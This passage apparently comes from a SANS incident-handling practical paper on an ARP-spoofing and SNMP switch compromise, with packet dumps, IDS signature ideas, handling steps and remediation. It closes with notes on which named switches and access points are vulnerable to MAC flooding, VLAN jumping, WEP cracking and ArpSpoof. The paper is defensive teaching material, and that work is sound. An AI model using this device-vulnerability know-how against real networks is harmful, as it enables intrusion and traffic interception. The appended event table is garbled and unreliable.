03:37:25.368270 0:80:3e:74:36:e4 0:b0:d0:e9:57:c8 arp 60: arp reply
3.3.3.1 is-at 0:80:3e:74:36:e4
0x0000 0001 0800 0604 0002 0080 3e74 36e4 0303 ................>t6...
0x0010 0301 00b0 d0e9 57c8 0303 0380 0000 0000 ...........W........
0x0020 0040 0200 0000 0000 0000 4898 0540 .@........H..@

Hardware Type = Ethernet
Protocol = TCP/IP
Hardware Address Length = 6 (48 bit MAC)
Protocol Length = 4 (32 bit IP)
Operation Code = 0002 Reply
Sender HA = 0080 3e74 36e4
Target HA = 00b0 d0e9 57c8

Signature of the Attack
The Signature of this attack is simple. If you see gratuitous arp replies on your local LAN be afraid, be very afraid. Tcpcap output of what the ArpSpoofs’ arp replies look like are below:

02:12:17.466342 0:3:ff:89:e7:cc 0:b0:d0:e9:57:c8 arp 60: arp reply
3.3.3.1 is-at 0:3:ff:89:e7:cc
0x0000 0001 0800 0604 0002 0003 ff89 e7cc 0303 ...........>t6...
0x0010 0301 00b0 d0e9 57c8 0303 0380 ffbf f196 ...........W........
0x0020 0040 0200 0000 0000 0000 4898 0540 .@........H..@

Here is what a regular Linux arp reply looks like:

03:37:25.368270 0:80:3e:74:36:e4 0:b0:d0:e9:57:c8 arp 60: arp reply
3.3.3.1 is-at 0:80:3e:74:36:e4
0x0000 0001 0800 0604 0002 0080 3e74 36e4 0303 ...........>t6...
0x0010 0301 00b0 d0e9 57c8 0303 0380 0000 0000 ...........W........
Looking at the packets you can see that both are perfectly formatted arp replies. The difference in the packets comes after the Target IP in the 18 byte frame padding. The ArpSpoof packet has a \texttt{ffbf f196} at the beginning and a \texttt{4898 0540} at the end. While the regular Arp Reply is all \texttt{0000 0000} until the end \texttt{bacf b656}. This minuet difference could be used to create an IDS signature for the tool ArpSpoof. It should be noted that it is easily changed within the code. Lastly, to keep the sniffing alive ArpSpoof continuously generates arp replies. A signature could be written that looked for multiple arp replies from the same MAC over a short period of time.

This attack is simply a passive sniffing attack that could be found with a tool like Antisniff from L0pht. Antisniff, while a great tool, would not work on our VPC guest. Because the adaptor of the host operating system is NOT in Promiscuous mode, so Antisniff would not see this particular attack.

**How to Protect Against It**

Static Arp entries can be a daunting task, but are the only security measure that has a chance against this type of attack. Your best bet is to deploy Host based firewalls and Host based IDS that can look for machines doing continuous ARP Replies.

**PART 3 The Incident Handling Process**

**Preparation**

Being as this attack took place in a university environment, countermeasures that were in place were less than adequate. The administrator of the compromised system did have a few network countermeasures that were bypassed. The Wireless Network used to perpetrate the attack was placed in a separate VLAN and the secured VLAN was behind a strictly enforced access-list on the router that only allowed in telnet (port 23) from one machine (the Administrator’s). The access-list was configured to be reflexive and allow all outgoing traffic to be valid. The administrator had also been proactive in her use of Warning Banners on her systems. Yet we did have one ray of hope for this poor university, they had recently established a SIRT (Security Incidents Response Team).

One of the members of the newly established SIRT was sent to a SANS training class in which he learned the procedures necessary to create an Incident Handling Team. These are the steps that he took after receiving his GCIH certification (*cough*).

- Distributed a document to the team that clearly defining the difference between an Event and an Incident
Incident: refers to an adverse event in an information system, and/or network, or the threat of the occurrence of such an event. Examples of incidents include: unauthorized use of another persons account, unauthorized use of system privileges, and execution of malicious code that destroys data. Incident implies harm, or the attempt to harm. (SANS Track 4 Course Curriculum page 1-4)

Event: is any observable occurrence in a system and/or network. Examples of event include: the system boot sequence, a system crash, and packet flooding within a network. (SANS Track 4 Course Curriculum page 1-5)

- Recruited “volunteers” in a wide variety of fields
  - Human Resources Representative
  - University Attorneys Office
  - Unix System Administrator
  - Windows 2000 Server administrator
  - Network Engineer
  - Certified Incident Handler

- Established the Lead Contact for the TEAM to be the manager of the SIRT. He would be the individual responsible for full deployment of the team if deemed necessary.

- Purchased a Fire Proof Safe that only the SIRT manager and the IT Director had access to.

- Created a Webpage for the SIRT that contained contact information, general security guidelines and forms to be filled out in the event that there was an incident deemed by management as one that required deployment of the team. Forms that are retrievable from the webpage include a permission form that must be signed by the administrator of the network in question and the department head. The form mentions specific actions and policies that could occur if deemed appropriate.
  - Sniffing
  - Shutting Down Servers
  - Removal of Hard Drives (contingent upon replacement of original)
  - Copying of Hard Drive
  - Presumption of Privacy is non-existent

- Created 2 “jump kits”
  - A voice recorder and several spiral notebooks and blue pall point pens
  - Bootable Operating system CD’s for Linux and Solaris
  - Windows Boot disk
  - Winux (windows password recovery boot disk)
  - Bag of connection adaptors and cables including; serial, Ethernet (cross-over and straight), and rollover cables.
- One Laptop was set aside to act as the “Emergency Laptop”. It had several types of NIDS software and a gambit of Attack tools that could be used to establish how the attacker was able to compromise the system.
- A small Hub for snifffing.
- A CD of clean precompiled Binaries for both Windows and Unix systems along with diagnostic and backup tools.
- 1 large IDE hard drive, 1 SCSI hard drive and several adaptors.

**Identification**

The incident was detected and confirmed to be an incident days after it had occurred. The administrator logged into the switch on her network to perform some routine maintenance and saw the following Console Messages Scroll across the screen: (Messages have been cut to save length)

```
1w4d: %LINK-3-UPDOWN: Interface FastEthernet0/2, changed state to down
1w4d: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/2, changed state to down
1w5d: %LINK-3-UPDOWN: Interface FastEthernet0/4, changed state to down
1w5d: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/4, changed state to down
```

Loading configuration from 2.2.2.132.
from 2.2.2.132.

1w5d: %SYS-4-SNMP_NETCONFIGSET: SNMP netConfigSet request.
Loading configuration
from 2.2.2.132.

1w5d: %SYS-4-SNMP_NETCONFIGSET: SNMP netConfigSet request.
Loading configuration
from 2.2.2.132.

1w5d: %SYS-4-SNMP_NETCONFIGSET: SNMP netConfigSet request.
Loading configuration
from 2.2.2.132.

1w6d: %LINK-4-ERROR: FastEthernet0/1 is experiencing errors
1w6d: %LINK-4-ERROR: FastEthernet0/1 is experiencing errors
1w6d: %LINK-4-ERROR: FastEthernet0/1 is experiencing errors
1w6d: %LINK-4-ERROR: FastEthernet0/1 is experiencing errors

The Administrator immediately noticed that the SNMP netConfigSet request came from the 2.2.2.0 network which was the Wireless Network. Stopping all activity, she contacted the SIRT.

After reviewing the Incident we were better able to ascertain what may have occurred. Throughout the entire process described below ample notes were taken, logged and dated. A chain of custody was maintained for all notes and tools to have an accurate record of their whereabouts during the investigation. The time frame for this attack occurred over several days. The Console messages gave us a clue as to where the attack originated, leading us to the Wireless network. The SSID for the access point was set to broadcast which we established by doing some research on war driving and barrowing a wireless adaptor that would work with the premier tool Netstumbler. We also noticed (per Netstumbler) that WEP was enabled on the network. Taking a look at the access point (Symbol Wireless AP) we noted that no MAC level security had been implemented. Assuming that the attacker used a WEP cracking tool, we took a rough estimate based on the traffic load on the wireless network and concluded that the attacker could capture enough “interesting packets” in under a week. Hoping that the Access Point kept a log of associated MAC address we logged into the AP to find that it only keep a running tab of currently associated MAC addresses.

Looking back to the Console logs we noticed a time stamp:

1w5d: %SYS-4-SNMP_NETCONFIGSET: SNMP netConfigSet request.
Loading configuration

We then logged in to the switch and preformed a “sh version” to get the current up time.
The switch had been up for a total of 2 weeks, 3 days, 15 hours, 0 minutes. The events that we noticed in the console message occurred at 1 week, 5 days. This meant that the SNMP netConfigSet request occurred roughly 5 days ago. We quickly but CALMLY interviewed the admin with specific questions regarding SNMP and Config updates. She informed us that she did not use SNMP in any way. The event became an official incident at the moment. We then asked her to please begin reviewing the logs, with a member of our team, of all the systems within her control.

As luck (Good or Bad is up to you) would have it the administrator did see that she had logged on the morning after at the SNMP Upload at 1:32 am.

(logs cut to conserve space)

[root@BigPig1 log]# more secure*

Jan 17 01:32:23 porky xinetd[646]: START: telnet pid=21125 from=3.3.3.254

And from an address that she did not recognize, 3.3.3.254. Since the admin did not log SNMP events we had little clue what the change in the uploaded code would be. Which left us with some speculation, our network engineer
mentioned that for our attacker to log into the machine he/she would have to change the VLAN that he/she was in or be forced to go through the ACL. We agreed that this was probably the course of action. At this point we made the decision, after discussion with the admin and the department head, that we should use “dd” to perform a bit by bit copy of the Server’s hard drive, in case the department wished to pursue legal action. To perform this function we did a file system copy with dd to another hard drive.

`dd if=/dev/hda of=/dev/newdisk`

The original hard drive was labeled, dated and bagged. A chain of custody form was started for the drive. It was then locked in a safe that the SIRT uses for evidence. Now working on the backed up copy of the hard drive we started digging into log files.

**Containment**

Having gone through the steps for Identification, we wanted to make sure that this could not happen again while we where actively surveying the device. We disabled SNMP on the switch and the router, as the admin said that she did not use them. We also temporarily shut down the port to the Wireless Access Point.

Unfortunately, the logs did not contain any information that we didn’t already have. This left us with 2 possibilities; that they had been altered of that attacker, or the attacker had captured the password through sniffing the telnet connection of the Administrator. We decided it would be best to boot to Linux and mount our CD of clean binaries then run the tools from the CD. After an exhaustive search it didn’t look like anything had been altered or added to the system. The admin was not running a tool that could do file integrity checking, like Tripwire, so we where at a disadvantage in looking for Trojans. We did compare the size of the Binaries from the CD to the size of the Binaries on the hard drive and they all checked out ok. We then listed out the current working state of the system:

- `ps -ef`: Running Files,
- `df -k`: Disk Space
- `netstat -r`: network connections
- `lsof`: Open Files
- `hinv`: Device Inventory
- `Who`: Logins

We came to the conclusion that the attacker was one of two things; really GOOD, or just exploring and after logging in, moved on to a new challenge. Since we did not see any other Console messages on the switch indicating the switch configuration had been changed again we assumed that the attacker had not come back via the switch and changing the VLAN. Looking through the Access-list logs on the router did not show that the access-list had been altered. Some discussion about Reverse WWW shell being a valid option for this kind of attack was entertained, but the administrator ended the discussion with, “I think
I will format and reinstall from a backup of the day before the console message indicated the intrusion”. This was good enough for us so we proceeded on to the next step, Eradication.

**Eradication**

The Server was formatted and reinstalled via backup procedures that keep back ups for 7 days. This was day 6. Some data was lost, but thankfully it was not mission critical and the loss of data was not significant. The original hard drive was signed out and returned to the admin in case any data on it need to be retrieved. We did warn her of the possible re-infection of the system if we missed a Trojan.

SNMP was left turned off on the switch and router and we will talk more about added security in the next section, Recovery.

**Recovery**

Not having seen any remaining evidence of Trojans or infection and completely reinstalling the system from a known good backup 6 days earlier provided us with a safe assurance that the system was clean. Implementing the changes on the system (removing telnet, adding ssh, tripwire) before the system was placed back on the network lead to the belief that this was a known good state.

The Wireless AP was placed on a physically separate routed interface and a VPN concentrator was placed between it and the router. All traffic coming from the wireless LAN would now have to be authenticated via the VPN Server adding an extra layer of encryption. The Symbol wireless AP was replaced with a Cisco Aironet 350 and new wireless adaptor where purchased from Cisco to utilizes the new feature in 802.1X and Leap. SNMP remained disabled as well as disabling CDP on all ports with the exception of the up link port to the router.

On the system in question telnet was disabled and ssh2 with the proper patches was the only protocol allowed in or out of the Firewall. Further access restriction where placed on the Firewall as far as which IP addresses could obtain access through the Firewall.

Logging for the Network devices was turned on and a secure syslog server was setup in the Secure Vlan. Tripwire was purchased for the switch, router and “Secure Server”. Tripwire for the router is actually a system that downloads the config at scheduled intervals and compares changes to the file. A cheap unencrypted tool with similar capabilities is called RANCID.

In order to verify the changes in security to the network we tried to perform the same exploits over again. Netstumber did not find an SSID, and the IV’s where now unavailable do to Cisco’s new AP so the WEP vulnerability was eliminated. We used nmap to look for any open SNMP ports on the network and none where found.

```bash
Nmap --sU --p 161 --O 4.4.4.0/24
Nmap --sU --p 161 --O 3.3.3.0/24
Nmap --sU --p 161 --O 2.2.2.0/24
```
We also scanned the Server from both inside and outside the firewall. From inside, ssh was open on port 22. From outside we did not see it as open. However, the admin could still reach the machine from her address which was permitted through the firewall on that port.

**Lessons Learned**

When all of the testing was finished and the systems were secure enough to make all parties sleep a little easier, a report was written to the SIRT manager describing all the procedures taken plus recommendations to help mitigate possibilities of this attack in the future. A post mortem meeting brought forth the following suggestions:

- Network intrusion detection systems should also be installed within the campus borders at all building aggregation points. This would have alerted us to this particular attack but there was an overwhelming agreement felt by all present that we are not monitoring enough within the campus.
- Campus should be scanned for SNMP and all default community string names removed. SNMP should also be Upgrade to version 2 or 3 where available and access lists applied to all community strings.
- We need to remove CDP from ports that do not have a network device attached to them. Authenticated protocols should be used whenever possible and VPN services for campus need to be established.
- A wireless policy needs to be issued stating the necessary steps that one must take in order to put up a wireless AP. This may be impossible to enforce but with some semiannual War Driving we could map the wireless network and keep an updated list of those networks that are secure and those that are not.
- Provide step by Step security guides for campus administrators and (if possible) hold security awareness and training classes for all network managers.
- Lastly, purchasing a site license for the commercial version of Tripwire and providing installation support via the help desk.

**Conclusion:**

Throughout this paper you have seen many screen shots of attacks and tools that actually worked in my test lab. I also took you on a mythical ride through and Incident handling procedure. But I would like to conclude with a few facts that I picked up along the way.

**Switches that are vulnerable to MAC Flooding.**
3com 3300 is vulnerable to a MAC flood and will degrade into broadcast mode.

Cisco 3524 is not. The Cisco will stop accepting new MAC address at 8184 preserving the state of the connections. The documented capacity of the Cisco 3524’s MAC address table is 8192.

Cisco AiroPoint 340 Access Point will fold like a cheap tent when trying to conduct a MAC flood through it. The device will require a reboot.

**VLAN Jumping:**

3com 3300 is not vulnerable to VLAN jumping. The packet will be dropped with long frame errors.

Cisco 3524- I could not get this to work however I can not find any documentation that states that it shouldn’t. If you have any knowledge of it please send me an email.

**WEP Vulnerabilities using AirSnort:**

Symbol Wireless Access Point is vulnerable to WEP when running the 1.5 code. No other versions of code have been tested.

Cisco AiroPoint is not vulnerable to this attack, after version 11.6, due to the change in how they select their IV’s.

**Arp Spoofing:**

3com 3500 Corebuilder gave me no problems when performing the ArpSpoof exploit.

Cisco Cat 5505 with a RSM module will perform a ping flood of the default gateway. I tried to get someone at Cisco to help me figure out why, when I preformed this attack that the switch would ping flood me but I was unsuccessful. Apparently the switch uses ICMP to talk across the back plain to the RSM module but that is an unconfirmed rumor. If you have the answer to that question please let me know!

I hope that this paper and some of my experiences in trying to prepare for this paper will be able to help you to protect your network. It certainly was a fun & eye opening experience for me.
Bibliography

2. Exploiting and Protecting 802.11b Wireless Networks: http://www.extremetech.com/article/0,3396,apn=8&s=1024&a=13880&app=6&ap=7,00.asp
3. Weaknesses in the Key Scheduling Algorithm of RC4, (Fluhrer, Mantin, and Shamir)
4. Cracking WEP- Applying Known Techniques to WEP Keys, (Newsham)
5. WEP Details, (System Experts)
7. Intercepting Mobile Communications: The Insecurity of 802.11, (Borisov,Goldberg,Wagner)
11. Why Spoofing is the number one problem on the internet: http://www.xs4all.nl/~rmeijer/spoofing.html
15. Infosec Security Vulnerability Report: Macof_Sniff, (Ian Vitek, ian.vitek@infosec.se)
16. Fake-1.1.6-1: http://rpmfind.net/linux/RPM/PLD/dist/PLD/i686/PLD/RPMS/fake-1.1.6-1.i686.html
17. Why your switched network isn’t secure. Intrusion Detection FAQ, SANS, Stephen Sipes, 09/10/2000
19. Intro to Dsniff: http://www.sans.org/infosecFAQ/audit/dsniff.htm
20. Arp and ICMP redirect Games:
http://www.insecure.org/sploits/arp_games.html

21. Why Spoofing is the number one problem on the internet:
http://www.xs4all.nl/~rmeijer/spoofing.html

22. Spoofing: An overview of Some of the current spoofing threats:
http://www.sans.org/infosecFAQ/threats/spoofing

23. An Intro to ARP Spoofing: Sean Whalen, April 2001

24. ARP0c Connection Interceptor: http://www.phenoelit.de/arpoc

25. Network Monitoring With Dsniff:


28. Part 3: Understanding Packet Types and Structure
http://www.dpstele.com/dpsnews/articles/snmp/snmp_types.html

29. CERT® Advisory CA-2002-03 Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP,)
http://www.cert.org/advisories/CA-2002-03.html


31. Address Resolution Protocol (arp),
http://www.erg.abdn.ac.uk/users/gorry/course/inet-pages/arp.html

32. SANS Track 4 Course Curriculum, Incident Handling Step by Step and Computer Crime Investigation. (page 1-4 & 1-5)


34. Fragrouter Man Pages
http://packetstorm.deceptions.org/UNIX/IDS/nidsbench/fragrouter.html
<table>
<thead>
<tr>
<th>Event Description</th>
<th>Location</th>
<th>Start Date - End Date</th>
<th>Venue</th>
</tr>
</thead>
<tbody>
<tr>
<td>Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Pen Test Hackfest &amp; Cyber Ranges Summit</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Pacific Live Online 2020</td>
<td>Brampton, ON</td>
<td>Jun 08, 2020 - Jun 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Brampton, ON</td>
<td>Jun 15, 2020 - Jul 04, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>Jun 22</td>
<td>PA</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
</tr>
<tr>
<td>SANS Summer of Cyber</td>
<td>Jul 6</td>
<td>VA</td>
<td>Jun 06, 2020 - Jul 18, 2020</td>
</tr>
<tr>
<td>SANS SEC504 (In Spanish) Online 2020</td>
<td>United Arab Emirates</td>
<td>Jun 24, 2020 - Jul 31, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Summer of Cyber</td>
<td>Jul 6</td>
<td>VA</td>
<td>Jun 24, 2020 - Jul 31, 2020</td>
</tr>
<tr>
<td>SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>United Arab Emirates</td>
<td>Jul 09, 2020 - Aug 17, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SEC617 Asia Pacific Online 2020</td>
<td>Australia</td>
<td>Jul 13, 2020 - Jul 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst New Canadian Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>SANS Rocky Mountain Summer 2020</td>
<td>United Arab Emirates</td>
<td>Jul 07, 2020 - Aug 20, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
</tbody>
</table>